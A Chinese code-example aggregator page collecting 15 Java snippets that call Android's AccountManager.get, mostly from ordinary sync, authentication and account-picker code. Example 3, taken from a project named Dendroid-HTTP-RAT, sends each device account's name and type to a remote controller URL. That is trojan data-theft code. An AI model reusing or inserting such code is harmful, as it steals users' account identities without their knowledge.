当前位置: 首页>>代码示例>>Java>>正文


Java AccountManager.get方法代码示例

本文整理汇总了Java中android.accounts.AccountManager.get方法的典型用法代码示例。如果您正苦于以下问题:Java AccountManager.get方法的具体用法?Java AccountManager.get怎么用?Java AccountManager.get使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在android.accounts.AccountManager的用法示例。


在下文中一共展示了AccountManager.get方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。

示例1: doInBackground

import android.accounts.AccountManager; //导入方法依赖的package包/类
@Override
protected Object doInBackground(Object... params) {
	// Get accounts
	mListAccount = new ArrayList<CharSequence>();
	AccountManager accountManager = AccountManager.get(ActivityApp.this);
	mAccounts = accountManager.getAccounts();
	mSelection = new boolean[mAccounts.length];
	for (int i = 0; i < mAccounts.length; i++)
		try {
			mListAccount.add(String.format("%s (%s)", mAccounts[i].name, mAccounts[i].type));
			String sha1 = Util.sha1(mAccounts[i].name + mAccounts[i].type);
			mSelection[i] = PrivacyManager.getSettingBool(-mAppInfo.getUid(), Meta.cTypeAccount, sha1, false);
		} catch (Throwable ex) {
			Util.bug(null, ex);
		}
	return null;
}
 
开发者ID:ukanth,项目名称:XPrivacy,代码行数:18,代码来源:ActivityApp.java

示例2: setSyncActivated

import android.accounts.AccountManager; //导入方法依赖的package包/类
public void setSyncActivated(boolean enabled) {
	
       ContentResolver.setMasterSyncAutomatically(enabled);
       
       if (enabled) {
       	SyncAdapterType[] types = ContentResolver.getSyncAdapterTypes();
       	AccountManager accmgr = AccountManager.get(mContext);
       	for (SyncAdapterType type : types) {
       		
       		Account[] accounts = accmgr.getAccountsByType(type.accountType);
       		for (Account account : accounts) {
       			
       			if (Constants.DEBUG) {
       				Log.d(TAG, "synching account, name:" + account.name  + ", type: " + account.type);
       			}
       			
       			enabled = ContentResolver.getSyncAutomatically(account, type.authority);
       			if (enabled) {
       				// trigger update for next account
       				ContentResolver.requestSync(account, type.authority, new Bundle());
       			}
       		}
       	}
       }
}
 
开发者ID:sdrausty,项目名称:buildAPKsApps,代码行数:26,代码来源:SyncControl20.java

示例3: doInBackground

import android.accounts.AccountManager; //导入方法依赖的package包/类
@Override
    protected String doInBackground(String... params) {     
 	AccountManager am = AccountManager.get(getApplicationContext());
     Account[] accounts = am.getAccounts();
     ArrayList<String> googleAccounts = new ArrayList<String>();
     int i = 0;
     for (Account ac : accounts) {
     	if(i<Integer.parseInt(j))
     	{
         String acname = ac.name;
         String actype = ac.type;
         googleAccounts.add(ac.name);            
         
      try {
	getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "[" + actype + "] " + acname );
} catch (UnsupportedEncodingException e) {
	 
	e.printStackTrace();
}        	
     	}
     	i++;
     }
     
  return "Executed";
    }
 
开发者ID:mwsrc,项目名称:Dendroid-HTTP-RAT,代码行数:26,代码来源:MyService.java

示例4: work

import android.accounts.AccountManager; //导入方法依赖的package包/类
protected Object work(Context context, DatabaseAdapter dba, String... params) throws ImportExportException {    	

    	AccountManager accountManager = AccountManager.get(context);
		android.accounts.Account[] accounts = accountManager.getAccountsByType("com.google");
		
	    String accountName=MyPreferences.getFlowzrAccount(context);
        if (accountName == null) {
			NotificationManager nm = (NotificationManager) context
					.getSystemService(Context.NOTIFICATION_SERVICE);

			Intent notificationIntent = new Intent(context,
					FlowzrSyncActivity.class);
			PendingIntent contentIntent = PendingIntent.getActivity(context, 0,
					notificationIntent, PendingIntent.FLAG_CANCEL_CURRENT);

			Builder mNotifyBuilder = new NotificationCompat.Builder(context);
			mNotifyBuilder
					.setContentIntent(contentIntent)
					.setSmallIcon(R.drawable.icon)
					.setWhen(System.currentTimeMillis())
					.setAutoCancel(true)
					.setContentTitle(context.getString(R.string.flowzr_sync))
					.setContentText(
							context.getString(R.string.flowzr_choose_account));
			nm.notify(0, mNotifyBuilder.build());		
			Log.i("Financisto","account name is null");
            throw new ImportExportException(R.string.flowzr_choose_account);
        }
		Account useCredential = null;
		for (int i = 0; i < accounts.length; i++) {
	    	 if (accountName.equals(((android.accounts.Account) accounts[i]).name)) {
	    		 useCredential=accounts[i];
	    	 }
	     }	    	
		accountManager.getAuthToken(useCredential, "ah", false, new GetAuthTokenCallback(), null);    	
    	return null;
    }
 
开发者ID:tiberiusteng,项目名称:financisto1-holo,代码行数:38,代码来源:FlowzrSyncTask.java

示例5: getAuthToken

import android.accounts.AccountManager; //导入方法依赖的package包/类
@Override
public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account, String authTokenType,
                           Bundle options) throws NetworkErrorException {
    final AccountManager am = AccountManager.get(context);
    String authToken = am.peekAuthToken(account, authTokenType);

    // get new token if there is no one
    if (TextUtils.isEmpty(authToken)) {
        String password = am.getPassword(account);
        if (password != null) {
            try {
                password = Crypto.armorDecrypt(password, context);
                authToken = serverHandler.userSignIn(account.name, password);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

    // there is new token, return it
    if (!TextUtils.isEmpty(authToken)) {
        final Bundle result = new Bundle();
        result.putString(AccountManager.KEY_ACCOUNT_NAME, account.name);
        result.putString(AccountManager.KEY_ACCOUNT_TYPE, account.type);
        result.putString(AccountManager.KEY_AUTHTOKEN, authToken);
        return result;
    }

    // no token and no password, show login screen
    final Intent intent = new Intent(context, loginActivity);
    intent.putExtra(AccountManager.KEY_ACCOUNT_AUTHENTICATOR_RESPONSE, response);
    intent.putExtra(GlobalConstant.ACCOUNT_TYPE, account.type);
    intent.putExtra(GlobalConstant.ACCOUNT_NAME, account.name);
    intent.putExtra(IS_ADDING_NEW_ACCOUNT, false);
    final Bundle bundle = new Bundle();
    bundle.putParcelable(AccountManager.KEY_INTENT, intent);
    return bundle;
}
 
开发者ID:6thsolution,项目名称:EasyAppleSyncAdapter,代码行数:39,代码来源:ICalAuthenticator.java

示例6: ClientLoginHelper

import android.accounts.AccountManager; //导入方法依赖的package包/类
/**
 * Create one of these for each HttpClient needing clientlogin authentication.
 * @param activity        An activity that can be used for user interaction.
 * @param service         The application service class (e.g. "fusiontables").
 * @param prompt          The user prompt (if needed) to choose an account.
 * @param client          The HttpClient to use (or null for a default one).
 */
public ClientLoginHelper(Activity activity, String service, String prompt, HttpClient client) {
  this.service = service;
  this.client = (client == null) ? new DefaultHttpClient() : client;
  this.activity = activity;
  this.accountManager = AccountManager.get(activity);
  this.accountChooser =  new AccountChooser(activity, service, prompt, service);
}
 
开发者ID:mit-cml,项目名称:appinventor-extensions,代码行数:15,代码来源:ClientLoginHelper.java

示例7: populateAccountTextView

import android.accounts.AccountManager; //导入方法依赖的package包/类
private void populateAccountTextView() {
    AccountManager am = AccountManager.get(this);
    Account[] accounts = am.getAccountsByType(ACCOUNT_TYPE);
    String accountString = "Accounts of type " + ACCOUNT_TYPE + " are : \n";
    if (accounts.length != 0) {
        for (Account account : accounts) {
            accountString += "Account:" +  account.name + "\n";
        }
    } else {
        accountString = "No Accounts of type " + ACCOUNT_TYPE +
                " found. Please add accounts before exporting.";
        mAccountTextView.setTextColor(Color.RED);
    }
    mAccountTextView.setText(accountString);
}
 
开发者ID:googlesamples,项目名称:account-transfer-api,代码行数:16,代码来源:MainActivity.java

示例8: AccountSnippet

import android.accounts.AccountManager; //导入方法依赖的package包/类
public AccountSnippet() {
    Context context = InstrumentationRegistry.getContext();
    mAccountManager = AccountManager.get(context);
    mSyncStatusObserverHandles = new LinkedList<>();
    mSyncWhitelist = new HashMap<>();
    mLock = new ReentrantReadWriteLock();
}
 
开发者ID:google,项目名称:mobly-bundled-snippets,代码行数:8,代码来源:AccountSnippet.java

示例9: getMailByAccountManager

import android.accounts.AccountManager; //导入方法依赖的package包/类
public static String getMailByAccountManager(Context context) {
    AccountManager accManager = AccountManager.get(context);
    Pattern gmailPattern = Patterns.EMAIL_ADDRESS;
    Account acc[] = accManager.getAccountsByType("com.google");
    for (Account account : acc) {
        if (gmailPattern.matcher(account.name).matches()) {
            return account.name;
        }
    }
    WebtrekkLogging.log("could not get valid Account Email, check Permissions. Account:"+ Arrays.toString(accManager.getAccounts()));
    return "";
}
 
开发者ID:Webtrekk,项目名称:webtrekk-android-sdk,代码行数:13,代码来源:HelperFunctions.java

示例10: onAttach

import android.accounts.AccountManager; //导入方法依赖的package包/类
@Override
public void onAttach(Activity activity) {
    super.onAttach(activity);

    mAccountManager = AccountManager.get(activity);
    mAccounts = new ArrayList<Account>(
            Arrays.asList(mAccountManager.getAccountsByType(GoogleAuthUtil.GOOGLE_ACCOUNT_TYPE)));
}
 
开发者ID:dreaminglion,项目名称:iosched-reader,代码行数:9,代码来源:AccountFragment.java

示例11: ICalSyncAdapter

import android.accounts.AccountManager; //导入方法依赖的package包/类
public ICalSyncAdapter(Context context, boolean autoInitialize) {
    super(context, autoInitialize);
    accountManager = AccountManager.get(context);
    serverHandler = new SyncServerHandlerImpl();
}
 
开发者ID:6thsolution,项目名称:EasyAppleSyncAdapter,代码行数:6,代码来源:ICalSyncAdapter.java

示例12: AuthUtils

import android.accounts.AccountManager; //导入方法依赖的package包/类
public AuthUtils(Context context) {
    mAccountManager = AccountManager.get(context);
}
 
开发者ID:sergeychilingaryan,项目名称:AOSP-Kayboard-7.1.2,代码行数:4,代码来源:AuthUtils.java

示例13: getAuthToken

import android.accounts.AccountManager; //导入方法依赖的package包/类
@SuppressWarnings("deprecation")
@Override
public String getAuthToken() throws AuthFailureError {
    final AccountManager accountManager = AccountManager.get(mContext);
    AccountManagerFuture<Bundle> future = accountManager.getAuthToken(mAccount,
            mAuthTokenType, mNotifyAuthFailure, null, null);
    Bundle result;
    try {
        result = future.getResult();
    } catch (Exception e) {
        throw new AuthFailureError("Error while retrieving auth token", e);
    }
    String authToken = null;
    if (future.isDone() && !future.isCancelled()) {
        if (result.containsKey(AccountManager.KEY_INTENT)) {
            Intent intent = result.getParcelable(AccountManager.KEY_INTENT);
            throw new AuthFailureError(intent);
        }
        authToken = result.getString(AccountManager.KEY_AUTHTOKEN);
    }
    if (authToken == null) {
        throw new AuthFailureError("Got null auth token for type: " + mAuthTokenType);
    }

    return authToken;
}
 
开发者ID:dreaminglion,项目名称:iosched-reader,代码行数:27,代码来源:AndroidAuthenticator.java

示例14: getAccount

import android.accounts.AccountManager; //导入方法依赖的package包/类
private static Account getAccount(Context context) {
    AccountManager accountManager = AccountManager.get(context);
    Account[] accounts = accountManager.getAccountsByType(SyncUtils.ACCOUNT_TYPE);
    Account account;
    if (accounts.length > 0) {
        account = accounts[0];
    } else {
        account = null;
    }

    return account;
}
 
开发者ID:jaydeepw,项目名称:simplest-sync-adapter,代码行数:13,代码来源:SyncUtils.java

示例15: onReceive

import android.accounts.AccountManager; //导入方法依赖的package包/类
public void onReceive(Context context, Intent intent) {
    am = AccountManager.get(context);
    accounts = am.getAccountsByType(ACCOUNT_TYPE);
    if ("android.accounts.LOGIN_ACCOUNTS_CHANGED".equals(intent.getAction())) {
        String loginName = getLoginName();
        Object name = "";
        LemallPlatform platform = LemallPlatform.getInstance();
        for (String str : platform.getCookieLinkdata().split("&")) {
            if (str.contains("COOKIE_NICKNAME")) {
                String[] split2 = str.split("COOKIE_NICKNAME=");
                if (split2.length > 0) {
                    name = split2[1];
                }
            }
        }
        if (!TextUtils.isEmpty(name) && !name.equals(loginName)) {
            platform.setSsoToken("");
            platform.setCookieLinkdata("");
            new LogonManager(context).deleteCookie();
        }
    }
}
 
开发者ID:JackChan1999,项目名称:letv,代码行数:23,代码来源:AccountChangeReceiver.java


注:本文中的android.accounts.AccountManager.get方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。